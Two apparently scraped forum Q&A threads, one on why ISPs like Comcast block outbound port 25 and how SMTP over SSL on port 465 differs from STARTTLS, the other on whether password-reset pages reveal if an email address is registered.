Does everyone just run SMTP on an alternate port now?  I know Gmail and Google's hosted email services do.

Is there any technical or security reason for Comcast to block outbound traffic on port 25 (or any outbound port really...)

They block outbound connections because of home computers turned zombies, as part of spammer-controlled botnets. They don't actually block all outbound connections to port 25; they just block all connections which do not target Comcast's own SMTP server. This is a way to force all emails to go through their own SMTP server, in which they may apply spam detection and filtering tools.

Gmail using "alternate ports" is not a deliberate workaround, but a byproduct of how SMTP-within-SSL was designed. There are two ways to get SSL/TLS protection on SMTP:

The client connects then sends a STARTTLS command, and then both client and server "upgrade" the connection by doing a SSL handshake right away, on that connection.
The client connects to the server and immediately begins the SSL handshake. This works because the server expects it, instead of "normal" SMTP commands; and that works because the server is bound on another port, namely 465.


Show if e-mail exists or not Any security issues showing if a certain e-mail address was found in a database  or not when a enduser requests a password-reset on a certain homepage or should the homepage just return some kind of generic error or maybe just ignore the error and claim that a mail was sent ?

Thank you

Yes.

This exposes an whether an account exists for that email address. An attacker would know that is a valid account.

This is really a usability versus security question.

Do you want your site to deceive users if an account doesn't exist and not give up information about which emails have accounts? Then claim a mail was sent.

Or do you want to leak whether an account exists or not and give a more meaningful message to users? Then tell users they haven't registered with the service yet.

You need to decide what is more important, the usability or security.